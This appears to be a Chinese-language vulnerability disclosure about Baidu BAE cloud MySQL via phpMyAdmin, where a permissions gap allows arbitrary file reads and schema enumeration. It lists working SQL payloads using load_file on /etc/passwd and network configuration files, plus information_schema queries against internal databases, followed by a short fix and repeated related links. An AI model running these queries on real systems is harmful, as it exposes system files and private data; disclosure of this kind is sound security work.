百度BAE系列1 資料庫資訊洩漏任意檔案讀取

通過一定方式可讀取資料庫相關內容，檢視伺服器檔案等。

mysql(雲資料庫) phpmyadmin管理時，insert into 表 select load_file('/etc/passwd')等可讀取本地檔案內容，也可查詢information_schema庫內容。目測是讀和寫操作使用了不同的資料庫賬號。

/* 以下結果是不同的 */

select user();

insert into tmp(data) select user();

/* 一些可執行的操作 */

//檔案讀取

insert into test(data) select load_file('/etc/passwd');

insert into test(data) select load_file('/etc/issue');

insert into test(data) select load_file('/etc/sysconfig/network-scripts/ifcfg-eth0');

//資料結構讀取

insert into test(data) select load_file('/etc/sysconfig/network-scripts/ifcfg-eth1');

insert into test(data) select schema_name from information_schema.schemata limit 10;

insert into test(data) select concat('databases:',count(*)) from information_schema.schemata;

insert into test(data) select concat('ibase_bae_code tables:',group_concat(table_name)) from information_schema.tables where table_schema='ibase_bae_code';

insert into test(data) select concat('ibase_bae_code.apps columns:',group_concat(column_name)) from information_schema.columns where table_schema='ibase_bae_code' and table_name='apps';

insert into test(data) select concat('ibase_bae_code tables:',group_concat(table_name)) from information_schema.tables where table_schema='ibase_bae_code';

insert into test(data) select concat('ns_bae_yun_pma tables:',group_concat(table_name)) from information_schema.tables where table_schema='ns_bae_yun_pma';

insert into test(data) select concat('ns_bae_yun_pma.pma_session columns:',group_concat(column_name)) from information_schema.columns where table_schema='ns_bae_yun_pma' and table_name='pma_session';

修復方案：

控制檔案和資料庫操作許可權，修復時注意通過平台上的資料匯入也是可以執行的。

百度BAE系列1 資料庫資訊洩漏任意檔案讀取

百度BAE資料庫連線問題

百度BAE資料庫連線問題

從百度文庫看企業內部資訊洩漏

百度BAE系列1 資料庫資訊洩漏 任意檔案讀取

百度BAE資料庫連線問題

百度BAE資料庫連線問題

從百度文庫看企業內部資訊洩漏

相關推薦

百度BAE系列1 資料庫資訊洩漏任意檔案讀取